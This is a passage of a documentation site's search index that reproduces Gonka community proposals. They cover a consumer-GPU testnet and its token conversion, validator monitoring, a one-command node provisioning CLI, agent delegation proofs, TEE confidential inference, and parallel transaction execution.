2. Routing and “host can’t choose a different model” Agreed: the host doesn’t choose the model. In #869, GetQualityWeightedExecutor is intended to work inside the same model: the request is already bound to a model (as today), and the weight only affects which node among those serving that model gets the request. So traffic is still only between workers for the same model; the change is “among those, prefer the one with better L6/L8/L9 (reuse, latency, completion) for that model.”
3. “Proposal doesn’t take into account how the chain works now” In PR #859, CacheQualityWeight is wired into the existing flow: it’s added to baseCount in the same place as PoC weight (module/chainvalidation.go, settlement). No second settlement path — just an extra term in the same formula. Phases 0–6 in #869 build on that: extend proto (fields 8–13), report L7/L8 in QualityReporter, parse X-Inference-Feedback, route by quality among executors for the same model. So we’re explicitly building on top of the current chain logic, not beside it.
What’s already done: We’ve validated the #860 hypothesis with a real setup: gonkalabs/gonka-agent (semantic cache, two participants, different workspaces). R-3 in docs/testing.md shows Participant B getting a partial hit (0.79) from A’s cache — same domain (Go race), different struct. That’s the “one participant structures requests → the other benefits from cache” scenario from this GiP; L6 reuse and time saved are measured. The L6/L8/L9 + X-Inference-Feedback middleware lives in gonkalabs/opengnk. So the proposal is not only on paper — it’s exercised in the agent → proxy → network path, while keeping the current chain and model-routing behavior.
"}, {"location": "community/discussion/proposals/0870-gonka-ai-testnet/", "title": "#870 — Gonka AI Testnet", "text": "🔄 Auto-sync: from Discussion #870 every hour.
"}, {"location": "community/discussion/proposals/0870-gonka-ai-testnet/#gonka-ai-testnet", "title": "Gonka AI Testnet", "text": "Автор: @Alert17 · Категория: Proposals · Создано: 2026-03-06 17:14 UTC · Обновлено: 2026-05-01 15:45 UTC
"}, {"location": "community/discussion/proposals/0870-gonka-ai-testnet/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/0870-gonka-ai-testnet/#gonka-testnet-permanent-parallel-network-for-consumer-gpu-participation", "title": "Gonka Testnet - Permanent Parallel Network for Consumer GPU Participation", "text": ""}, {"location": "community/discussion/proposals/0870-gonka-ai-testnet/#motivation", "title": "Motivation", "text": "Gonka mainnet requires 320 GB VRAM per ML Node (e.g. 4×H100 80 GB), limiting participation to datacenter-grade multi-GPU setups. Consumer and prosumer GPUs - RTX 3090, RTX 4090, A6000 - are excluded entirely despite being capable compute devices.
This creates three concrete problems:
A permanent parallel Cosmos chain (gonka-testnet-1) running the exact same Gonka protocol with a lighter inference model, opening participation to GPUs with 24 GB+ VRAM.
The testnet runs the same blockchain as mainnet. No protocol modifications, no alternative reward systems, no different collateral mechanics. The chain code is a direct fork of the mainnet codebase - any upgrade tested on testnet deploys to mainnet via Cosmovisor without modification.
Parameter Mainnet Testnet chain-idgonka-mainnet gonka-testnet-1 Token denom gnk tgnk Total supply 1,000,000,000 GNK 1,000,000,000 tGNK Miner allocation 800,000,000 GNK (80%) 800,000,000 tGNK (80%) Founder allocation 200,000,000 GNK (20%) 200,000,000 tGNK (20%) Min VRAM per MLNode 320 GB (multi-GPU) 24 GB (single GPU) Inference model Qwen3-235B-FP8 Qwen2.5-14B-Instruct (recommended) Emission formula 323,000 × e^(-0.000475 × epoch) Same formula, same decay Collateral Required (after 180-epoch grace) Same mechanism PoC V2 1-10% random verification Same mechanism Sprint PoW Continuous nonce generation Same mechanism Governance (x/gov) Active Same mechanism"}, {"location": "community/discussion/proposals/0870-gonka-ai-testnet/#hardware-requirements", "title": "Hardware Requirements", "text": "Minimum VRAM: 24 GB. This covers RTX 3090 and RTX 4090 as entry-level, while excluding cards that cannot run the target model class (7B-14B parameters).
GPU VRAM Category Expected Performance RTX 3090 24 GB Minimum Runs model with limited headroom; lower nonce rate RTX 4090 24 GB Minimum Higher compute; faster nonces A5000 24 GB Prosumer Datacenter-class reliability A6000 / L40 48 GB Optimal Comfortable VRAM margin; high nonce rate A100 (40 GB) 40 GB Optimal Datacenter performance on lighter model 2×RTX 4090 48 GB Optimal (multi-GPU) Combined VRAM; tensor parallelism possibleMore powerful GPUs naturally generate more nonces per epoch due to higher throughput - no artificial weight multipliers. Same Sprint mechanism as mainnet.
"}, {"location": "community/discussion/proposals/0870-gonka-ai-testnet/#model-selection", "title": "Model Selection", "text": "The testnet model must be: (1) small enough for 24 GB VRAM, and (2) large enough that users cannot trivially run it without the Gonka infrastructure.
Model Params FP16 VRAM FP8 VRAM 24 GB Fit? 48 GB Fit? Qwen2.5-7B-Instruct 7.6B ~15 GB ~8 GB ✅ FP16 ✅ Qwen2.5-14B-Instruct 14.8B ~30 GB ~15 GB ⚠️ FP8 only ✅ FP16 Llama-3.1-8B-Instruct 8.0B ~16 GB ~8 GB ✅ FP16 ✅ Mistral-Small-24B 24B ~48 GB ~24 GB ⚠️ FP8 tight ✅ FP16 Qwen2.5-32B-Instruct 32.5B ~65 GB ~33 GB ❌ ⚠️ FP8 tightRecommendation: Qwen2.5-14B-Instruct. Fits on 24 GB only with FP8 quantization (tight, not trivial), runs comfortably on 48 GB in FP16. Well-supported by vLLM, strong benchmarks. Alternative: Qwen2.5-7B as safer launch option, upgradeable to 14B via Cosmovisor.
"}, {"location": "community/discussion/proposals/0870-gonka-ai-testnet/#economic-model", "title": "Economic Model", "text": ""}, {"location": "community/discussion/proposals/0870-gonka-ai-testnet/#emission", "title": "Emission", "text": "Identical to mainnet: R(epoch) = 323,000 × e^(-0.000475 × epoch)
At testnet genesis (epoch 0): 323,000 tGNK/epoch. Halving every ~1,459 epochs (~4.16 years). Total emission converges to ~680,000,000 tGNK.
Milestone tGNK Mined Epoch Time Epoch Emission 25% mined 170,000,000 ~606 ~1.7 years ~242,000 tGNK 50% mined 340,000,000 ~1,459 ~4.2 years ~161,500 tGNK 75% mined 510,000,000 ~2,918 ~8.3 years ~80,750 tGNK 90% mined 612,000,000 ~4,847 ~13.8 years ~32,300 tGNK 99% mined 673,000,000 ~9,694 ~27.7 years ~3,230 tGNK"}, {"location": "community/discussion/proposals/0870-gonka-ai-testnet/#tgnk-gnk-conversion", "title": "tGNK → GNK Conversion", "text": "This is the core economic link between testnet and mainnet.
A pool of 1,000,000 GNK (proposed) is allocated from the Community Pool (120M GNK, ~0.83%) via governance. The conversion uses a fixed rate derived from total emission cap:
GNK = Your tGNK × 0.00147\nExpanded: GNK = (Your tGNK / 680,000,000) × 1,000,000
How this works:
Since the rate is fixed, the only variable is how much tGNK a miner earns (depends on network size and time):
Scenario A: 100 GPUs, 3 months (~90 epochs). RTX 4090 earning ~1% share → ~285,000 tGNK mined.
GNK = 285,000 × 0.00147 = ~419 GNK (~$352)\nScenario B: 500 GPUs, 6 months (~180 epochs). RTX 4090 earning ~0.2% share → ~111,600 tGNK.
GNK = 111,600 × 0.00147 = ~164 GNK (~$138)\nScenario C: 1,000 GPUs, 12 months (~350 epochs). RTX 4090 earning ~0.1% share → ~104,000 tGNK.
GNK = 104,000 × 0.00147 = ~153 GNK (~$129)\nElectricity for RTX 4090 (~150W) is ~$15-20/mo. Income exceeds operating costs while remaining modest enough to avoid speculative farming.
"}, {"location": "community/discussion/proposals/0870-gonka-ai-testnet/#self-balancing-properties", "title": "Self-Balancing Properties", "text": "As emission decays, miners rely increasingly on Work Coins - direct payments from developers for inference:
Phase Reward Coins (Emission) Work Coins (Inference) Year 0-2 ~90% of income ~10% Year 2-5 ~50% ~50% Year 5+ ~20% and declining ~80% Year 10+ Negligible ~100%Critical question at each phase: is developer demand growing fast enough to replace declining emission?
"}, {"location": "community/discussion/proposals/0870-gonka-ai-testnet/#pool-sustainability", "title": "Pool Sustainability", "text": "When the pool depletes, the community decides:
Both chains are Cosmos SDK, making IBC the natural choice. Trustless, validator-independent, cryptographic verification - no multi-sig oracles or trusted third parties.
Bridge flow:
tGNK_amount × (pool_size / 680,000,000)The mainnet requires a conversion module (or x/inference extension) to handle this logic.
Since testnet tokens have real mainnet value, anti-fraud is mandatory at launch:
Measure Description Purpose GNK Deposit on Mainnet Lock 50-100 GNK (proposed) to be eligible for conversion Raises Sybil cost; mainnet economic tie Per-Host Cap Max % of epoch rewards per node Anti-whale; community distribution PoC V2 Verification Same 1-10% random verification as mainnet Catches fake compute Nonce Rate Verification Rate must match claimed hardware Detects hardware spoofing Conversion Rate Limit Max GNK per wallet per period (daily/weekly) Prevents pool drain attacks"}, {"location": "community/discussion/proposals/0870-gonka-ai-testnet/#open-questions", "title": "Open Questions", "text": "These require community input and stakeholder alignment:
Requested: 1,000,000 GNK from the Community Pool (one-time, for the conversion pool).
This does not fund development - it backs the tGNK → GNK conversion mechanism. Development is handled by the proposing team.
On-chain governance vote (Community Pool spend) will be submitted as a separate transaction once community feedback is incorporated.
"}, {"location": "community/discussion/proposals/0870-gonka-ai-testnet/#references", "title": "References", "text": "2026-05-01 15:45 UTC
This reads more like a second mainnet than a testnet. A testnet needs to run the same hardware and models as mainnet — otherwise it won't catch the real inference-layer bugs (FlashInfer, expert-parallel, FP8 MoE, multi-GPU memory pressure, etc.), which are exactly the class of issues that bite us in production.
"}, {"location": "community/discussion/proposals/0873-outdated-optional-centralized-monitoring-for-gonka-validator/", "title": "#873 — !OUTDATED! Optional Centralized Monitoring for Gonka Validators", "text": "🔄 Auto-sync: from Discussion #873 every hour.
"}, {"location": "community/discussion/proposals/0873-outdated-optional-centralized-monitoring-for-gonka-validator/#outdated-optional-centralized-monitoring-for-gonka-validators", "title": "!OUTDATED! Optional Centralized Monitoring for Gonka Validators", "text": "Автор: @SegovChik · Категория: Proposals · Создано: 2026-03-09 07:36 UTC · Обновлено: 2026-04-16 18:09 UTC
"}, {"location": "community/discussion/proposals/0873-outdated-optional-centralized-monitoring-for-gonka-validator/#_1", "title": "📝 Описание", "text": "https://github.com/gonka-ai/gonka/discussions/1085 - updated proposal
"}, {"location": "community/discussion/proposals/0873-outdated-optional-centralized-monitoring-for-gonka-validator/#2", "title": "💬 Комментарии (2)", "text": ""}, {"location": "community/discussion/proposals/0873-outdated-optional-centralized-monitoring-for-gonka-validator/#1-segovchik", "title": "Комментарий 1 — @SegovChik", "text": "2026-03-09 12:06 UTC
Prepeared ansible to deploy for both sides.
https://github.com/inc4/gonka-nop/tree/feat/monitoring/ansible#for-operators-central-server-setup - for one who want to host centralized monitoring
https://github.com/inc4/gonka-nop/tree/feat/monitoring/ansible#for-validators-client-setup - for one who want to share metrics.
NOP adoption for client side will follow if we will agree on this.
"}, {"location": "community/discussion/proposals/0873-outdated-optional-centralized-monitoring-for-gonka-validator/#2-mtvnastya", "title": "Комментарий 2 — @mtvnastya", "text": "2026-03-13 17:16 UTC
I think that's a pretty useful idea. Bigger miners definitely invest in monitoring and troubleshooting on their end but smaller miners don't have enough data to do so.
Having it as an option doesn't oblige anybody to anything but adds value.
"}, {"location": "community/discussion/proposals/0875-automatic-node-provisioning-tool-exists/", "title": "#875 — Automatic Node Provisioning Tool exists", "text": "🔄 Auto-sync: from Discussion #875 every hour.
"}, {"location": "community/discussion/proposals/0875-automatic-node-provisioning-tool-exists/#automatic-node-provisioning-tool-exists", "title": "Automatic Node Provisioning Tool exists", "text": "Автор: @SegovChik · Категория: Proposals · Создано: 2026-03-10 17:41 UTC · Обновлено: 2026-03-10 17:41 UTC
"}, {"location": "community/discussion/proposals/0875-automatic-node-provisioning-tool-exists/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/0875-automatic-node-provisioning-tool-exists/#gonka-nop-one-command-validator-deployment-cli", "title": "Gonka NOP: One-Command Validator Deployment CLI", "text": "Category: Proposals Labels: enhancement, tooling, infrastructure, devops
"}, {"location": "community/discussion/proposals/0875-automatic-node-provisioning-tool-exists/#demo", "title": "Demo", "text": "Repository: github.com/inc4/gonka-nop
"}, {"location": "community/discussion/proposals/0875-automatic-node-provisioning-tool-exists/#problem-statement", "title": "Problem Statement", "text": "Deploying a Gonka validator today requires executing 50+ manual steps across GPU drivers, Docker configuration, key management, compose file editing, port security, and on-chain registration. Analysis of ~9,700 messages from the Gonka validator DevOps chat reveals that operators face compounding complexity at every stage:
Day-1 (Setup): - Install and validate NVIDIA drivers, Container Toolkit, and Fabric Manager across different Linux distros - Detect GPU architecture (sm_80–sm_120) and choose the correct MLNode image (standard vs Blackwell) - Calculate optimal tensor-parallel size based on GPU count, VRAM, and model requirements - Set gpu-memory-utilization correctly (0.99 causes OOM under load — 30+ chat mentions of miss rate from this) - Fill 15+ environment variables in config.env, edit node-config.json, configure docker-compose.yml - Bind internal ports to 127.0.0.1 (Docker bypasses UFW — port 5050 exposed = node hijacked) - Configure DDoS protection, pruning, persistent peers, state sync - Manage three separate keys (account, consensus, ML operational) - Download 200+ GB model weights - Register on-chain and grant ML permissions
Day-2 (Operations — 90% of operator time): - Monitor miss rate, sync lag, epoch participation, PoC weight - Perform safe MLNode updates (6-step process: check timeslots → disable → pull → recreate → wait model load → enable) - Fix stuck nodes after missed chain upgrades (download correct binaries, place in Cosmovisor dirs) - Manage ML nodes via Admin API (curl commands with JSON payloads) - Recover disk space from Cosmovisor backups
Each step has documented failure modes. Validators regularly break their nodes by setting gpu-memory-utilization too high, exposing internal ports, using wrong MLNode images for their GPU architecture, or botching the 6-step update process.
Gonka NOP is an open-source Go CLI that automates the entire validator lifecycle — from bare metal to producing PoC proofs — in a single command.
curl -fsSL https://github.com/inc4/gonka-nop/releases/latest/download/gonka-nop -o /usr/local/bin/gonka-nop\nchmod +x /usr/local/bin/gonka-nop\ngonka-nop setup\ngonka-nop status (unified dashboard) Update MLNode 6-step manual process gonka-nop update Fix stuck node Search GitHub, download binaries, place in dirs gonka-nop repair"}, {"location": "community/discussion/proposals/0875-automatic-node-provisioning-tool-exists/#architecture", "title": "Architecture", "text": "Gonka NOP is a single static binary (Go, zero runtime dependencies) with a phased setup wizard:
gonka-nop setup\n│\n├── Phase 1: Prerequisites\n│ ├── Detect/install Docker\n│ ├── Detect/install NVIDIA driver (with user confirmation)\n│ ├── Install Container Toolkit + configure Docker runtime\n│ ├── Install Fabric Manager (if NVLink detected)\n│ ├── Verify CUDA inside Docker container\n│ └── Check disk space (250GB minimum)\n│\n├── Phase 2: GPU Detection\n│ ├── Parse nvidia-smi (count, VRAM, architecture, PCI bus)\n│ ├── Detect NVLink topology\n│ ├── Calculate optimal TP/PP for target model\n│ ├── Recommend gpu-memory-utilization (0.88–0.94)\n│ └── Select MLNode image (standard vs Blackwell)\n│\n├── Phase 3: Network Select\n│ ├── Choose mainnet or testnet\n│ └── Fetch latest image versions from GitHub (dynamic, not hardcoded)\n│\n├── Phase 4: Key Management\n│ ├── Quick workflow: all keys on server (automated)\n│ └── Secure workflow: cold key on separate machine (guided)\n│\n├── Phase 5: Configuration\n│ ├── Generate config.env (all variables validated)\n│ ├── Generate node-config.json (model, TP, VRAM settings)\n│ ├── Generate docker-compose.yml (port security, DDoS defaults)\n│ └── Generate docker-compose.mlnode.yml (GPU architecture-aware)\n│\n├── Phase 6: Deploy\n│ ├── Pull container images\n│ ├── Start network node, monitor blockchain sync\n│ ├── Download model weights (200+ GB, resume-capable)\n│ ├── Start ML node, wait for model load\n│ └── Run health checks (11 checks via Admin API)\n│\n└── Phase 7: Registration\n ├── Register node on-chain (submit-new-participant)\n └── Grant ML permissions (grant-ml-ops-permissions)\n# Unified health dashboard\ngonka-nop status\n# Shows: block height, sync status, epoch, PoC weight, miss rate,\n# MLNode status, GPU utilization, security checks (11 total)\n\n# Safe rolling update\ngonka-nop update\n# Checks timeslot allocation → disables ML node → pulls new image →\n# updates compose → recreates → waits for model load → re-enables\n\n# Fix stuck nodes after missed upgrades\ngonka-nop repair\n# Detects missing upgrade handler → parses on-chain upgrade-info.json →\n# downloads correct binaries (SHA256 verified) → places in Cosmovisor dirs\n\n# ML node management\ngonka-nop ml-node list # Status, PoC weight, timeslots, model\ngonka-nop ml-node enable # Enable for next epoch\ngonka-nop ml-node disable # Safe disable\n\n# Pre-download model weights (before or after setup)\ngonka-nop download-model Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\nFor datacenter operators managing fleets via Ansible/Terraform:
gonka-nop setup --yes \\\n --network mainnet \\\n --key-workflow quick \\\n --key-name my-key \\\n --keyring-password \"$PASS\" \\\n --public-ip 1.2.3.4 \\\n --hf-home /data/hf\nAll interactive prompts have CLI flag overrides. Compatible with SSH automation, CI/CD pipelines, and batch provisioning scripts.
"}, {"location": "community/discussion/proposals/0875-automatic-node-provisioning-tool-exists/#security-defaults", "title": "Security Defaults", "text": "Gonka NOP applies security hardening by default, based on real-world attack patterns documented in the validator chat:
Threat NOP Default Docker bypasses UFW → internal ports exposed All internal ports (5050, 8080, 9100, 9200) bound to127.0.0.1 Port 5050 exposed → ML node hijacked ML inference port never exposed publicly DDoS on public API routes GONKA_API_BLOCKED_ROUTES=poc-batches training, chain API/RPC/GRPC disabled gpu-memory-utilization 0.99 → OOM under load Recommended 0.88–0.94 based on VRAM headroom unattended-upgrades breaks NVIDIA drivers Detected and warned during setup Driver version mismatch (userspace/kernel/FM) 3-way consistency check"}, {"location": "community/discussion/proposals/0875-automatic-node-provisioning-tool-exists/#current-status", "title": "Current Status", "text": "Gonka NOP is production-ready and actively used on mainnet.
Capability Status Validated On Full setup wizard (7 phases) Complete Mainnet (2x 8×A100-SXM4-80GB) Status command (11 health checks) Complete Mainnet + Testnet Safe update rollout Complete Mainnet Repair stuck nodes Complete Testnet (v0.2.10 upgrade) ML node management Complete (list/status/enable/disable) Mainnet + Testnet Non-interactive mode Complete Testnet Dynamic image versions from GitHub Complete Mainnet + Testnet Standalone model download Complete Mainnet NVIDIA driver auto-install Complete MainnetTest coverage: 190+ test functions across 11 test files.
"}, {"location": "community/discussion/proposals/0875-automatic-node-provisioning-tool-exists/#relationship-to-existing-work", "title": "Relationship to Existing Work", "text": "Project Relationship gonka/deploy/join Consumed. NOP generates the same compose files and configs, but with automated GPU detection, security hardening, and validated parameters. NOP fetches latest image versions from this directory at setup time gonka-exporter-prometheus Complementary. NOP focuses on deployment and operations; the exporter focuses on monitoring. NOP's centralized monitoring stack (Ansible) integrates with the exporter Discussion #816 (Node Manager) Overlapping scope, different approach. Node Manager proposes a web-based control plane. NOP is a CLI tool following the Kubernetes GPU Operator philosophy — detect hardware, configure runtime, deploy workloads. Both can coexist (NOP for deployment, Node Manager for web-based fleet management) gonka-nop monitoring Integrated. Ansible-based centralized monitoring (Prometheus + Grafana + Alertmanager) with push architecture. Deployed on mainnet. See monitoring proposal"}, {"location": "community/discussion/proposals/0875-automatic-node-provisioning-tool-exists/#roadmap", "title": "Roadmap", "text": ""}, {"location": "community/discussion/proposals/0875-automatic-node-provisioning-tool-exists/#completed-v018", "title": "Completed (v0.1.8)", "text": "--type network / --type mlnode for separate servers)gonka-nop unjail commandinc4 team — operating validators on Gonka mainnet and testnet. We analyzed ~9,700 messages from the validator DevOps chat to understand operational pain points and built Gonka NOP to address them systematically. The tool is open-source (MIT) and designed to lower the barrier for new validators while reducing operational burden for existing ones.
Links: - Repository: github.com/inc4/gonka-nop - Demo video: youtu.be/0w6bIEROxUQ - Monitoring proposal: Discussion #820
Gonka NOP is independently developed and maintained. It consumes the official Gonka deployment configs and does not require any protocol changes. Feedback and contributions welcome.
"}, {"location": "community/discussion/proposals/0930-proposal-agent-identity-and-delegation-governance-for-gonka-/", "title": "#930 — Proposal: Agent identity and delegation governance for Gonka compute", "text": "🔄 Auto-sync: from Discussion #930 every hour.
"}, {"location": "community/discussion/proposals/0930-proposal-agent-identity-and-delegation-governance-for-gonka-/#proposal-agent-identity-and-delegation-governance-for-gonka-compute", "title": "Proposal: Agent identity and delegation governance for Gonka compute", "text": "Автор: @aeoess · Категория: Proposals · Создано: 2026-03-20 00:42 UTC · Обновлено: 2026-03-22 19:48 UTC
"}, {"location": "community/discussion/proposals/0930-proposal-agent-identity-and-delegation-governance-for-gonka-/#_1", "title": "📝 Описание", "text": "Gonka's agent-aware inference gateway handles the compute layer. One gap: when an agent requests inference, there's no cryptographic proof of who authorized that agent or what scope it operates under.
The Agent Passport System (APS) provides this layer:
How this fits Gonka's architecture:
When an agent calls Gonka's inference API, the request could carry a delegation proof showing: 1. Who authorized this agent to use compute 2. What models/capabilities are in scope 3. What spend limit applies 4. A signed receipt for billing attribution
This turns Gonka from \"serve inference to whoever has an API key\" into \"serve inference to cryptographically authorized agents with verifiable spend limits.\" For subnet operators and compute providers, this means granular billing and access control without managing API keys per agent.
Integration surface:
APS ships as an MCP server (61 tools) and npm package (agent-passport-system, 866 tests). The gateway enforcement boundary could sit in front of Gonka's routing layer, checking delegation scope before forwarding to the appropriate model.
We're currently running cross-engine interop tests with three other governance protocols (AIP, Kanoniv, Guardian) — all Ed25519 based, all mutually verifying delegation chains. Gonka could be a compute provider in that ecosystem.
SDK: https://github.com/aeoess/agent-passport-system Paper: https://doi.org/10.5281/zenodo.18749779 Site: https://aeoess.com
"}, {"location": "community/discussion/proposals/0930-proposal-agent-identity-and-delegation-governance-for-gonka-/#1", "title": "💬 Комментарии (1)", "text": ""}, {"location": "community/discussion/proposals/0930-proposal-agent-identity-and-delegation-governance-for-gonka-/#1-aeoess", "title": "Комментарий 1 — @aeoess", "text": "2026-03-21 17:14 UTC
@hermesnousagent — the complementary framing is right. APS handles the machine-verifiable proof chain (was this agent cryptographically authorized, within what scope, at what spend limit), and the operator-visible layer handles what the human actually sees and approves.
The delegation_ref back-pointer pattern you described maps to how APS already links commerce receipts to delegation chains internally. Every CommerceActionReceipt in APS carries the delegation ID that authorized it, so the cryptographic proof and the human-readable record can cross-reference.
On your closing question: the open problem is both. Machine-to-machine billing attribution (which APS closes with signed delegation chains + Merkle attribution) and human-facing spend authorization (which needs a UX layer). APS has request_human_approval in the Commerce layer for the human-facing gap, but it is a protocol primitive, not a chat-native UX. That is where a chat-based approval surface like what you describe adds value — the protocol provides the cryptographic substrate, the chat interface provides the operator experience.
The composition would be: APS delegation chain proves authorization scope, Bit-Chat surfaces the approval request in a human-readable format, the operator approves, and the approval feeds back into APS as a signed receipt that closes the loop for both billing attribution and dispute resolution.
"}, {"location": "community/discussion/proposals/0951-tee-implementation/", "title": "#951 — TEE Implementation", "text": "🔄 Auto-sync: from Discussion #951 every hour.
"}, {"location": "community/discussion/proposals/0951-tee-implementation/#tee-implementation", "title": "TEE Implementation", "text": "Автор: @mtvnastya · Категория: Proposals · Создано: 2026-03-26 05:10 UTC · Обновлено: 2026-06-05 15:05 UTC
"}, {"location": "community/discussion/proposals/0951-tee-implementation/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/0951-tee-implementation/#tee", "title": "TEE", "text": "This proposal outlines the integration of Trusted Execution Environments (TEE) into the Gonka network architecture. By leveraging hardware-level isolation (Intel TDX, AMD SEV-SNP, NVIDIA Confidential Compute), we can protect user payloads and inference data from the physical hosts/miners, enabling true \"Confidential MLNodes.\" This document proposes changes to the node registry, validation pipeline, and economic incentives.
"}, {"location": "community/discussion/proposals/0951-tee-implementation/#problem", "title": "Problem", "text": "Currently, user requests data sent to the Gonka network is hidden from the public but transparent to the specific host (miner) executing and validating the workload. Even with off-chain payloads, a malicious operator with physical access to the machine can access the data by using custom binaries or modifying the execution environment.
For enterprise and privacy-sensitive adoption, trust in the protocol must supersede trust in the hardware operator.
"}, {"location": "community/discussion/proposals/0951-tee-implementation/#proposal", "title": "Proposal", "text": "We propose a new node class: the Confidential MLNode. This node operates within a TEE, isolating the full Virtual Machine (VM) from the hypervisor.
Supported CPUs:
Both technologies support attaching NVIDIA GPUs with Confidential Compute: - https://docs.nvidia.com/nvidia-secure-ai-with-blackwell-and-hopper-gpus-whitepaper.pdf
A VM with an attached GPU can encrypt all in-memory data, data transferred to the GPU, and data in GPU memory from the hypervisor.
By carefully modifying how MLNode works with data: - Inferences are decrypted only in-memory - No sensitive data is written to disk - No open TCP ports are used for unencrypted data transfer - No sensitive data appears in logs
The full inference pipeline can be protected from both the host/miner and the hypervisor (server owner in the case of rented servers).
Using a temporary public key generated by the TEE-protected MLNode enables end-to-end data encryption without any decrypted data existing in unprotected memory.
"}, {"location": "community/discussion/proposals/0951-tee-implementation/#architecture-upgrade", "title": "Architecture Upgrade", "text": ""}, {"location": "community/discussion/proposals/0951-tee-implementation/#mlnode", "title": "MLNode", "text": "VM provides an attestation certificate signed by the CPU's hardware module. The signed data includes:
Note: If the VM is restarted or the image is replaced, the private key will be lost. - Host publishes this certificate on-chain
Open Question 1: Should the certificate be validated on-chain?
All requests to the Confidential MLNode are encrypted using the public key from the certificate.
Relevant materials:
Framework to simplify TEE deployment: - https://github.com/Dstack-TEE/dstack
Insightful paper about NVIDIA Confidential Compute: - https://arxiv.org/pdf/2507.02770
"}, {"location": "community/discussion/proposals/0951-tee-implementation/#network-node", "title": "Network Node", "text": ""}, {"location": "community/discussion/proposals/0951-tee-implementation/#1-new-mlnode-type", "title": "1. New MLNode Type", "text": "Confidential MLNode with a separate pipeline for scheduling inferences. These nodes do not require inference validation.
Confidential MLNodes have an associated attestation certificate and public key.
"}, {"location": "community/discussion/proposals/0951-tee-implementation/#2-certificate-validation", "title": "2. Certificate Validation", "text": "Requirements for certificate validation: - Publishing certificates to the blockchain - Maintaining Intel and AMD root certificates (Root of Trust keys) for verification - Maintaining a list of secure software versions and excluded (untrusted) certificates
Open Question 2: Should full certificate validation be performed on-chain? Probably yes, on recording.
"}, {"location": "community/discussion/proposals/0951-tee-implementation/#3-inference-pipeline", "title": "3. Inference Pipeline", "text": "Current /chat/completions request flow:
Dev -> Transfer Agent (Network Node) -> Executor (Network Node) -> Executor (MLNode)\nhttps://what-is-gonka.hashnode.dev/decentralized-ai-inference-balancing-security-and-performance
In the current system, any request is scheduled to any executor. For Confidential MLNodes, the workflow changes:
This design enables users to send /chat/completions requests directly to the Confidential MLNode without proxying through multiple Network Nodes.
Proposed workflow:
Note: Metadata can be sent in batches periodically to optimize on-chain transactions. Unclaimed quota is automatically refunded at the next epoch boundary.
Signed metadata from a TEE key is inherently trusted - the execution environment is pre-defined and verified via attestation. The MLNode cannot produce valid signatures without running in the attested TEE, which guarantees the correct binary ran.
Open Question 3: How to provide redundancy when a Confidential MLNode becomes unavailable?
"}, {"location": "community/discussion/proposals/0951-tee-implementation/#economic-incentive", "title": "Economic Incentive", "text": "Open Question 4: Since Confidential MLNodes have less validation overhead, should they receive higher bitcoin-style rewards to incentivize enabling TEE?
"}, {"location": "community/discussion/proposals/0951-tee-implementation/#2", "title": "💬 Комментарии (2)", "text": ""}, {"location": "community/discussion/proposals/0951-tee-implementation/#1-x0152", "title": "Комментарий 1 — @x0152", "text": "2026-05-25 21:21 UTC
Some first experiments on this in #1246. Not a full implementation, but first end-to-end wiring across all layers:
Could be a useful starting point. Happy to answer questions
"}, {"location": "community/discussion/proposals/0951-tee-implementation/#2-otli4nikde", "title": "Комментарий 2 — @Otli4nikDe", "text": "2026-06-05 15:05 UTC
What if we rethink the problem for the entire Gonka network and reframe it like this: We accept as a given that the data is exposed on the hosts (!). This means anyone can potentially see it. But how can we ensure that when viewing this data, two key conditions are met:
Then the question becomes: what’s the point if I read someone’s email, but that email address doesn’t actually exist? Or if I get hold of keys, but they are fake?!
## Alternative tier: a lightweight \"Surrogate-Scrubbing Gateway\" in a CPU TEE (no confidential GPU required)
First — big +1 on the Confidential MLNode direction. Full TEE inference (TDX/SEV-SNP + NVIDIA CC) is the strongest guarantee and the right long-term target. I'd like to propose a complementary, lower-cost confidentiality tier that could ship sooner and run on the existing GPU fleet.
### The idea
Instead of running the whole model inside a confidential GPU, put a tiny scrub/restore proxy inside a CPU-only confidential VM (TDX or SEV-SNP) and leave inference on ordinary, non-confidential MLNodes:
First of all, I look at it from the user’s perspective — and that means latency! Where and how much time will be spent when using the encryption/scrubbing gateway?I’ll share real test results below. I use exactly the same approach for my own Personal Assistants, except my code is not in Go, but compiled as a Rust binary.Categories I filter for:
Test conditions: Context = 800 KB ≈ 200k tokens Results: 1. With 200k tokens and 120 entities→ scan + replace time = 2.36 ms 2. With 200k tokens and 2022 entities → scan + replace time = 5.41 ms *200k tokens is close to the maximum context for top models like Kimi & MiniMax 2.7.
Conclusion: The added latency for processing one prompt in both directions can be considered negligible compared to the actual inference time on the GPUs. Much more important is how to architect this. I see two main approaches: 1) Add another node between the Network Node and the LLM Node (GPU). → This will add network latency (roughly up to 300 ms). 2) Run TEE by default on the Network Nodes themselves (on CPU). → In this case there is almost zero added latency, and the hosts will always receive only surrogate/fake data :)
"}, {"location": "community/discussion/proposals/0954-optimistic-parallel-execution-of-messages-for-inference-chai/", "title": "#954 — Optimistic parallel execution of messages for inference-chain", "text": "🔄 Auto-sync: from Discussion #954 every hour.
"}, {"location": "community/discussion/proposals/0954-optimistic-parallel-execution-of-messages-for-inference-chai/#optimistic-parallel-execution-of-messages-for-inference-chain", "title": "Optimistic parallel execution of messages for inference-chain", "text": "Автор: @akup · Категория: Proposals · Создано: 2026-03-26 12:27 UTC · Обновлено: 2026-03-26 17:48 UTC
"}, {"location": "community/discussion/proposals/0954-optimistic-parallel-execution-of-messages-for-inference-chai/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/0954-optimistic-parallel-execution-of-messages-for-inference-chai/#two-level-blocktx-cache-with-conflict-detection-for-occ", "title": "Two-Level Block/Tx Cache with Conflict Detection for OCC", "text": ""}, {"location": "community/discussion/proposals/0954-optimistic-parallel-execution-of-messages-for-inference-chai/#motivation", "title": "Motivation", "text": "Cosmos SDK processes transactions sequentially by default. Every read from the KV store requires protobuf unmarshalling, and every write requires marshalling — operations that are both CPU-intensive and repeated across transactions within the same block.
The goal of this proposal is twofold:
Phase 1 (current): Introduce a two-level block/tx cache implemented by OptimisticStore (name kept for code compatibility) to eliminate redundant marshal/unmarshal within a block while remaining fully deterministic and compatible with the existing sequential execution model.
Phase 2 (future): Reuse the same conflict-tracking infrastructure to enable Optimistic Concurrency Control (OCC) — parallel execution of transactions with automatic conflict detection and rollback.
